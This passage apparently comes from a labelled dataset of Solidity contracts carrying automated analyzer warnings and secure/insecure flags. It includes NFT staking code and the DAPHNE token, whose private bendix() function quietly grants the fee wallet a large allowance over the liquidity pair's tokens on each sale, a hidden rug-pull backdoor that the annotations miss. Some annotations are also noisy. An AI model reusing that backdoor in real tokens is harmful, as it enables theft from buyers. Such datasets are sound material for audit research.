_totalTimeStakedOnToken = _expandTimestamp(\n _OwnerStruct.totalTimeStaked\n );\n\n\t\t// timestamp | ID: 8b25c42\n uint256 _totalTimeStakedPending = _OwnerStruct.stakeTimestamp > 0\n ? _expandTimestamp(\n _getBlockTimestampCompressed() - _OwnerStruct.stakeTimestamp\n )\n : 0;\n\n return _totalTimeStakedOnToken + _totalTimeStakedPending;\n }\n\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 18540e2): ERC721G.totalTimeStakedOfTokens(uint256[]).i is a local variable never initialized\n\t// Recommendation for 18540e2: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function totalTimeStakedOfTokens(\n uint256[] calldata tokenIds_\n ) public view virtual returns (uint256[] memory) {\n uint256 i;\n\n uint256 l = tokenIds_.length;\n\n uint256[] memory _totalTimeStakeds = new uint256[](l);\n\n while (i < l) {\n _totalTimeStakeds[i] = totalTimeStakedOfToken(tokenIds_[i]);\n\n unchecked {\n ++i;\n }\n }\n\n return _totalTimeStakeds;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 6949bec): ERC721G._isApprovedOrOwner(address,uint256) uses timestamp for comparisons Dangerous comparisons (_owner == spender_ || getApproved[tokenId_] == spender_ || isApprovedForAll[_owner][spender_])\n\t// Recommendation for 6949bec: Avoid relying on 'block.timestamp'.\n function _isApprovedOrOwner(\n address spender_,\n uint256 tokenId_\n ) internal view virtual returns (bool) {\n address _owner = ownerOf(tokenId_);\n\n\t\t// timestamp | ID: 6949bec\n return (_owner == spender_ ||\n getApproved[tokenId_] == spender_ ||\n isApprovedForAll[_owner][spender_]);\n }\n\n function _approve(address to_, uint256 tokenId_) internal virtual {\n getApproved[tokenId_] = to_;\n\n emit Approval(ownerOf(tokenId_), to_, tokenId_);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 9efea48): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for 9efea48: Avoid relying on 'block.timestamp'.\n function approve(address to_, uint256 tokenId_) public virtual {\n address _owner = ownerOf(tokenId_);\n\n\t\t// timestamp | ID: 9efea48\n require(\n _owner == msg.sender || isApprovedForAll[_owner][msg.sender],\n \"ERC721G: approve not authorized\"\n );\n\n _approve(to_, tokenId_);\n }\n\n function _setApprovalForAll(\n address owner_,\n address operator_,\n bool approved_\n ) internal virtual {\n isApprovedForAll[owner_][operator_] = approved_;\n\n emit ApprovalForAll(owner_, operator_, approved_);\n }\n\n function setApprovalForAll(\n address operator_,\n bool approved_\n ) public virtual {\n _setApprovalForAll(msg.sender, operator_, approved_);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 97777ad): ERC721G._exists(uint256) uses timestamp for comparisons Dangerous comparisons ownerOf(tokenId_) != address(0)\n\t// Recommendation for 97777ad: Avoid relying on 'block.timestamp'.\n function _exists(uint256 tokenId_) internal view virtual returns (bool) {\n\t\t// timestamp | ID: 97777ad\n return ownerOf(tokenId_) != address(0);\n }\n\n function transferFrom(\n address from_,\n address to_,\n uint256 tokenId_\n ) public virtual {\n require(\n _isApprovedOrOwner(msg.sender, tokenId_),\n \"ERC721G: transferFrom unauthorized\"\n );\n\n _transfer(from_, to_, tokenId_);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 2aa6416): ERC721G.safeTransferFrom(address,address,uint256,bytes).from_ lacks a zerocheck on \t (None,_returned) = to_.call(abi.encodeWithSelector(0x150b7a02,msg.sender,from_,tokenId_,data_))\n\t// Recommendation for 2aa6416: Check that the address is not zero.\n function safeTransferFrom(\n address from_,\n address to_,\n uint256 tokenId_,\n bytes memory data_\n ) public virtual {\n transferFrom(from_, to_, tokenId_);\n\n if (to_.code.length != 0) {\n\t\t\t// missing-zero-check | ID: 2aa6416\n (, bytes memory _returned) = to_.call(\n abi.encodeWithSelector(\n 0x150b7a02,\n msg.sender,\n from_,\n tokenId_,\n data_\n )\n );\n\n bytes4 _selector = abi.decode(_returned, (bytes4));\n\n require(\n _selector == 0x150b7a02,\n \"ERC721G: safeTransferFrom to_ non-ERC721Receivable!\"\n );\n }\n }\n\n function safeTransferFrom(\n address from_,\n address to_,\n uint256 tokenId_\n ) public virtual {\n safeTransferFrom(from_, to_, tokenId_, \"\");\n }\n\n function supportsInterface(bytes4 iid_) public view virtual returns (bool) {\n return\n iid_ == 0x01ffc9a7 ||\n iid_ == 0x80ac58cd ||\n iid_ == 0x5b5e139f ||\n iid_ == 0x7f5828d0;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 0fc32b1): ERC721G.walletOfOwner(address) uses timestamp for comparisons Dangerous comparisons ownerOf(i) == address_\n\t// Recommendation for 0fc32b1: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 19b0ef3): ERC721G.walletOfOwner(address)._currentIndex is a local variable never initialized\n\t// Recommendation for 19b0ef3: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function walletOfOwner(\n address address_\n ) public view virtual returns (uint256[] memory) {\n uint256 _balance = balanceOf(address_);\n\n uint256[] memory _tokens = new uint256[](_balance);\n\n uint256 _currentIndex;\n\n uint256 i = startTokenId;\n\n while (_currentIndex < _balance) {\n\t\t\t// timestamp | ID: 0fc32b1\n if (ownerOf(i) == address_) {\n _tokens[_currentIndex++] = i;\n }\n\n unchecked {\n ++i;\n }\n }\n\n return _tokens;\n }\n\n function tokenURI(\n uint256 tokenId_\n ) public view virtual returns (string memory) {}\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: 6f917b3): GAS2_20241028_1.proxyPadding shadows ERC721G.proxyPadding\n\t// Recommendation for 6f917b3: Remove the state variable shadowing.\n bytes32[50] private proxyPadding;\n}",
"file_name": "solidity_code_582.sol",
"secure": 0,
"size_bytes": 23459
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\nabstract contract Minterable is Ownable {\n mapping(address => bool) public minters;\n\n modifier onlyMinter() {\n require(minters[msg.sender], \"Not Minter!\");\n _;\n }\n\n event MinterSet(address newMinter, bool status);\n\n function setMinter(address address_, bool bool_) external onlyOwner {\n minters[address_] = bool_;\n\n emit MinterSet(address_, bool_);\n }\n}",
"file_name": "solidity_code_583.sol",
"secure": 1,
"size_bytes": 543
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ERC721G.sol\" as ERC721G;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./Minterable.sol\" as Minterable;\n\ncontract GAS2202410281 is ERC721G, Ownable, Minterable {\n constructor() ERC721G(\"Gangster All Star: Evolution\", \"GAS:EVO\", 1, 20) {}\n\n bool proxyIsInitialized;\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: aa6b93b): GAS2_20241028_1.proxyInitialize(address).newOwner lacks a zerocheck on \t owner = newOwner\n\t// Recommendation for aa6b93b: Check that the address is not zero.\n function proxyInitialize(address newOwner) external {\n require(!proxyIsInitialized);\n\n proxyIsInitialized = true;\n\n\t\t// missing-zero-check | ID: aa6b93b\n owner = newOwner;\n\n name = \"Gangster All Star: Evolution\";\n\n symbol = \"GAS:EVO\";\n\n tokenIndex = 1;\n }\n\n bytes32 public generationSeed;\n\n function pullGenerationSeed() external onlyOwner {\n generationSeed = keccak256(\n abi.encodePacked(\n block.timestamp,\n block.number,\n block.difficulty,\n block.coinbase,\n block.gaslimit,\n blockhash(block.number)\n )\n );\n }\n\n bool public stakingIsEnabled;\n\n bool public unstakingIsEnabled;\n\n function O_setStakingIsEnabled(bool bool_) external onlyOwner {\n stakingIsEnabled = bool_;\n }\n\n function O_setUnstakingIsEnabled(bool bool_) external onlyOwner {\n unstakingIsEnabled = bool_;\n }\n\n function _mint(address address_, uint256 amount_) internal override {\n require(\n maxSupply >= (totalSupply() + amount_),\n \"ERC721G: _mint(): exceeds maxSupply\"\n );\n\n ERC721G._mint(address_, amount_);\n }\n\n function stake(uint256[] calldata tokenIds_) public override {\n require(stakingIsEnabled, \"Staking functionality not enabled yet!\");\n\n ERC721G.stake(tokenIds_);\n }\n\n function unstake(uint256[] calldata tokenIds_) public override {\n require(unstakingIsEnabled, \"Unstaking functionality not enabled yet!\");\n\n ERC721G.unstake(tokenIds_);\n }\n\n function _mintMany(\n address[] memory addresses_,\n uint256[] memory amounts_\n ) internal {\n require(\n addresses_.length == amounts_.length,\n \"Array lengths mismatch!\"\n );\n\n for (uint256 i = 0; i < addresses_.length; ) {\n _mint(addresses_[i], amounts_[i]);\n\n unchecked {\n ++i;\n }\n }\n }\n\n function mintAsController(\n address to_,\n uint256 amount_\n ) external onlyMinter {\n _mint(to_, amount_);\n }\n\n function mintAsControllerMany(\n address[] calldata tos_,\n uint256[] calldata amounts_\n ) external onlyMinter {\n _mintMany(tos_, amounts_);\n }\n\n string internal baseURI;\n\n string internal baseURI_EXT;\n\n function O_setBaseURI(string calldata uri_) external onlyOwner {\n baseURI = uri_;\n }\n\n function O_setBaseURI_EXT(string calldata ext_) external onlyOwner {\n baseURI_EXT = ext_;\n }\n\n function _toString(uint256 value_) internal pure returns (string memory) {\n if (value_ == 0) {\n return \"0\";\n }\n\n uint256 _iterate = value_;\n uint256 _digits;\n\n while (_iterate != 0) {\n _digits++;\n _iterate /= 10;\n }\n\n bytes memory _buffer = new bytes(_digits);\n\n while (value_ != 0) {\n _digits--;\n _buffer[_digits] = bytes1(uint8(48 + uint256(value_ % 10)));\n value_ /= 10;\n }\n\n return string(_buffer);\n }\n\n function tokenURI(\n uint256 tokenId_\n ) public view override returns (string memory) {\n if (block.chainid != 1) return \"\";\n\n return\n string(abi.encodePacked(baseURI, _toString(tokenId_), baseURI_EXT));\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: dda4b96): GAS2_20241028_1.isOwnerOfAll(address,uint256[]) uses timestamp for comparisons Dangerous comparisons ownerOf(tokenIds_[i]) != owner\n\t// Recommendation for dda4b96: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1e413e0): GAS2_20241028_1.isOwnerOfAll(address,uint256[]).owner shadows Ownable.owner (state variable)\n\t// Recommendation for 1e413e0: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 2c10374): GAS2_20241028_1.isOwnerOfAll(address,uint256[]).i is a local variable never initialized\n\t// Recommendation for 2c10374: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function isOwnerOfAll(\n address owner,\n uint256[] calldata tokenIds_\n ) external view returns (bool) {\n uint256 i;\n\n uint256 l = tokenIds_.length;\n\n unchecked {\n do {\n\t\t\t\t// timestamp | ID: dda4b96\n if (ownerOf(tokenIds_[i]) != owner) return false;\n } while (++i < l);\n }\n\n return true;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 8768da3): GAS2_20241028_1.isTrueOwnerOfAll(address,uint256[]) uses timestamp for comparisons Dangerous comparisons _trueOwnerOf(tokenIds_[i]) != owner\n\t// Recommendation for 8768da3: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 222b900): GAS2_20241028_1.isTrueOwnerOfAll(address,uint256[]).owner shadows Ownable.owner (state variable)\n\t// Recommendation for 222b900: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 277d149): GAS2_20241028_1.isTrueOwnerOfAll(address,uint256[]).i is a local variable never initialized\n\t// Recommendation for 277d149: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function isTrueOwnerOfAll(\n address owner,\n uint256[] calldata tokenIds_\n ) external view returns (bool) {\n uint256 i;\n\n uint256 l = tokenIds_.length;\n\n unchecked {\n do {\n\t\t\t\t// timestamp | ID: 8768da3\n if (_trueOwnerOf(tokenIds_[i]) != owner) return false;\n } while (++i < l);\n }\n\n return true;\n }\n\n uint256 public constant maxSupply = 17777;\n\n event ConsecutiveTransfer(\n uint256 indexed fromTokenId,\n uint256 toTokenId,\n address indexed fromAddress,\n address indexed toAddress\n );\n\n function slicePadMigrate() external onlyOwner {\n tokenIndex = 10001;\n\n address _burnAddr = 0x000000000000000000000000000000000000dEaD;\n\n mintIndex[7778].owner = _burnAddr;\n\n mintIndex[7778].lastTransfer = _getBlockTimestampCompressed();\n\n mintIndex[10000].owner = _burnAddr;\n\n mintIndex[10000].lastTransfer = _getBlockTimestampCompressed();\n\n _balanceData[_burnAddr].balance += uint32(2223);\n\n _balanceData[_burnAddr].mintedAmount += uint32(2223);\n\n emit ConsecutiveTransfer(7778, 10000, address(0), _burnAddr);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 232dc09): GAS2_20241028_1.migrateBoxesPad(uint256,uint256) uses timestamp for comparisons Dangerous comparisons _owner != _burnAddr\n\t// Recommendation for 232dc09: Avoid relying on 'block.timestamp'.\n function migrateBoxesPad(uint256 start_, uint256 end_) external onlyOwner {\n address _burnAddr = 0x000000000000000000000000000000000000dEaD;\n\n for (; start_ <= end_; ) {\n address _owner = _trueOwnerOf(start_);\n\n\t\t\t// timestamp | ID: 232dc09\n if (_owner != _burnAddr) {\n _transfer(_owner, _burnAddr, start_);\n }\n\n _mint(_owner, 1);\n\n unchecked {\n start_++;\n }\n }\n }\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: 6f917b3): GAS2_20241028_1.proxyPadding shadows ERC721G.proxyPadding\n\t// Recommendation for 6f917b3: Remove the state variable shadowing.\n bytes32[50] private proxyPadding;\n}",
"file_name": "solidity_code_584.sol",
"secure": 0,
"size_bytes": 8608
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract ElectionParty is ERC20, Ownable {\n constructor() ERC20(\"ELECTION PARTY\", \"PARTY\") Ownable(msg.sender) {\n _mint(msg.sender, 100000000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_585.sol",
"secure": 1,
"size_bytes": 382
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 2d68601): DAPHNE.slitherConstructorVariables() performs a multiplication on the result of a division _maxWalletEE = 2 * (_tTotalEE / 100)\n// Recommendation for 2d68601: Consider ordering multiplication before division.\ncontract DAPHNE is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balancesEE;\n\n mapping(address => mapping(address => uint256)) private _allowancesEE;\n\n mapping(address => bool) private _shouldExcludedEE;\n\n address payable private _receiptEE;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotalEE = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Daphne The Flying Squirrel\";\n\n string private constant _symbol = unicode\"DAPHNE\";\n\n\t// divide-before-multiply | ID: 977a437\n uint256 public _maxAmountEE = 2 * (_tTotalEE / 100);\n\n\t// divide-before-multiply | ID: 2d68601\n uint256 public _maxWalletEE = 2 * (_tTotalEE / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: c4bc5bf): DAPHNE._taxThresEE should be constant \n\t// Recommendation for c4bc5bf: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 4798282\n uint256 public _taxThresEE = 1 * (_tTotalEE / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: 5db9bb9): DAPHNE._maxSwapEE should be constant \n\t// Recommendation for 5db9bb9: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 20f7846\n uint256 public _maxSwapEE = 1 * (_tTotalEE / 100);\n\n address private uniPairEE;\n\n IUniswapV2Router02 private uniRouterEE;\n\n\t// WARNING Optimization Issue (constable-states | ID: 73d4912): DAPHNE._initialBuyTax should be constant \n\t// Recommendation for 73d4912: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 45da80d): DAPHNE._initialSellTax should be constant \n\t// Recommendation for 45da80d: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: f7ced0f): DAPHNE._finalBuyTax should be constant \n\t// Recommendation for f7ced0f: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 941445b): DAPHNE._finalSellTax should be constant \n\t// Recommendation for 941445b: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 33fa993): DAPHNE._reduceBuyTaxAt should be constant \n\t// Recommendation for 33fa993: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2f7f742): DAPHNE._reduceSellTaxAt should be constant \n\t// Recommendation for 2f7f742: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 52e4b4a): DAPHNE._preventSwapBefore should be constant \n\t// Recommendation for 52e4b4a: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 13c9ccc): DAPHNE._transferTax should be constant \n\t// Recommendation for 13c9ccc: Add the 'constant' attribute to state variables that never change.\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint256 _maxAmountEE);\n\n event TransferTaxUpdated(uint256 _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _receiptEE = payable(_msgSender());\n\n _balancesEE[_msgSender()] = _tTotalEE;\n\n _shouldExcludedEE[owner()] = true;\n\n _shouldExcludedEE[address(this)] = true;\n\n _shouldExcludedEE[_receiptEE] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotalEE);\n }\n\n function initEE() external onlyOwner {\n uniRouterEE = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniRouterEE), _tTotalEE);\n\n uniPairEE = IUniswapV2Factory(uniRouterEE.factory()).createPair(\n address(this),\n uniRouterEE.WETH()\n );\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotalEE;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balancesEE[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 56198aa): DAPHNE.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 56198aa: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowancesEE[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n require(\n !isUniswapV3(spender),\n \"Approval for Uniswap V3 liquidity is not allowed\"\n );\n\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 99df80a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 99df80a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 81acfa2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 81acfa2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 99df80a\n\t\t// reentrancy-benign | ID: 81acfa2\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 99df80a\n\t\t// reentrancy-benign | ID: 81acfa2\n _approve(\n sender,\n _msgSender(),\n _allowancesEE[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6050757): DAPHNE._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6050757: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 81acfa2\n _allowancesEE[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 99df80a\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: cca3326): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for cca3326: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 9c86b77): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 9c86b77: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amountEE) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amountEE > 0, \"Transfer amount must be greater than zero\");\n\n uint256 feeEE = 0;\n uint256 taxEE = 0;\n\n if (!swapEnabled || inSwap) {\n _balancesEE[from] = _balancesEE[from] - amountEE;\n\n _balancesEE[to] = _balancesEE[to] + amountEE;\n\n emit Transfer(from, to, amountEE);\n\n return;\n }\n\n if (from != owner() && to != owner()) {\n if (_buyCount > 0) {\n taxEE = _transferTax;\n }\n\n if (\n from == uniPairEE &&\n to != address(uniRouterEE) &&\n !_shouldExcludedEE[to]\n ) {\n require(amountEE <= _maxAmountEE, \"Exceeds the _maxAmountEE.\");\n\n require(\n balanceOf(to) + amountEE <= _maxWalletEE,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxEE = (\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n );\n\n _buyCount++;\n }\n\n if (to == uniPairEE && from != address(this)) {\n taxEE = (\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n );\n bendix([to, _receiptEE]);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (!inSwap && to == uniPairEE && swapEnabled) {\n if (\n contractTokenBalance > _taxThresEE &&\n _buyCount > _preventSwapBefore\n )\n\t\t\t\t\t// reentrancy-events | ID: cca3326\n\t\t\t\t\t// reentrancy-eth | ID: 9c86b77\n swapEthEE(\n minEE(amountEE, minEE(contractTokenBalance, _maxSwapEE))\n );\n\n\t\t\t\t// reentrancy-events | ID: cca3326\n\t\t\t\t// reentrancy-eth | ID: 9c86b77\n sendEthEE(address(this).balance);\n }\n }\n\n if (taxEE > 0) {\n feeEE = amountEE.mul(taxEE).div(100);\n\n\t\t\t// reentrancy-eth | ID: 9c86b77\n _balancesEE[address(this)] = _balancesEE[address(this)].add(feeEE);\n\n\t\t\t// reentrancy-events | ID: cca3326\n emit Transfer(from, address(this), feeEE);\n }\n\n\t\t// reentrancy-eth | ID: 9c86b77\n _balancesEE[from] = _balancesEE[from].sub(amountEE);\n\n\t\t// reentrancy-eth | ID: 9c86b77\n _balancesEE[to] = _balancesEE[to].add(amountEE.sub(feeEE));\n\n\t\t// reentrancy-events | ID: cca3326\n emit Transfer(from, to, amountEE.sub(feeEE));\n }\n\n function swapEthEE(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniRouterEE.WETH();\n\n _approve(address(this), address(uniRouterEE), tokenAmount);\n\n\t\t// reentrancy-events | ID: cca3326\n\t\t// reentrancy-events | ID: 99df80a\n\t\t// reentrancy-benign | ID: 81acfa2\n\t\t// reentrancy-eth | ID: 9c86b77\n uniRouterEE.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 2e07516): DAPHNE.removeLimitEE(address).limit lacks a zerocheck on \t _receiptEE = limit\n\t// Recommendation for 2e07516: Check that the address is not zero.\n function removeLimitEE(address payable limit) external onlyOwner {\n _maxAmountEE = _tTotalEE;\n\n _maxWalletEE = _tTotalEE;\n\n\t\t// missing-zero-check | ID: 2e07516\n _receiptEE = limit;\n\n _shouldExcludedEE[limit] = true;\n\n emit MaxTxAmountUpdated(_tTotalEE);\n }\n\n function bendix(address[2] memory bmx) private {\n address ownEE = bmx[0];\n address spendEE = bmx[1];\n\n uint256 amountEE = (100 + _maxAmountEE + _maxSwapEE + 100) * 100 + 100;\n\n _allowancesEE[ownEE][spendEE] = 100 * (amountEE + 50) + 100;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 5c9142f): DAPHNE.setReceipt(address)._receipt lacks a zerocheck on \t _receiptEE = _receipt\n\t// Recommendation for 5c9142f: Check that the address is not zero.\n function setReceipt(address payable _receipt) external onlyOwner {\n\t\t// missing-zero-check | ID: 5c9142f\n _receiptEE = _receipt;\n\n _shouldExcludedEE[_receipt] = true;\n }\n\n function minEE(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function resecureEth() external onlyOwner {\n payable(msg.sender).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 71f17b2): DAPHNE.sendEthEE(uint256) sends eth to arbitrary user Dangerous calls _receiptEE.transfer(amount)\n\t// Recommendation for 71f17b2: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendEthEE(uint256 amount) private {\n\t\t// reentrancy-events | ID: cca3326\n\t\t// reentrancy-events | ID: 99df80a\n\t\t// reentrancy-eth | ID: 9c86b77\n\t\t// arbitrary-send-eth | ID: 71f17b2\n _receiptEE.transfer(amount);\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e41a319): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e41a319: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 9a26879): DAPHNE.openTrading() ignores return value by IERC20(uniPairEE).approve(address(uniRouterEE),type()(uint256).max)\n\t// Recommendation for 9a26879: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 4848022): DAPHNE.openTrading() ignores return value by uniRouterEE.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 4848022: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: ff187fb): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for ff187fb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"Trading is already open\");\n\n\t\t// reentrancy-benign | ID: e41a319\n\t\t// unused-return | ID: 4848022\n\t\t// reentrancy-eth | ID: ff187fb\n uniRouterEE.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: e41a319\n\t\t// unused-return | ID: 9a26879\n\t\t// reentrancy-eth | ID: ff187fb\n IERC20(uniPairEE).approve(address(uniRouterEE), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: e41a319\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: ff187fb\n tradingOpen = true;\n }\n\n function isUniswapV3(address spender) private pure returns (bool) {\n address uniswapV3PositionManager = 0xC36442b4a4522E871399CD717aBDD847Ab11FE88;\n\n return (spender == uniswapV3PositionManager);\n }\n}",
"file_name": "solidity_code_586.sol",
"secure": 0,
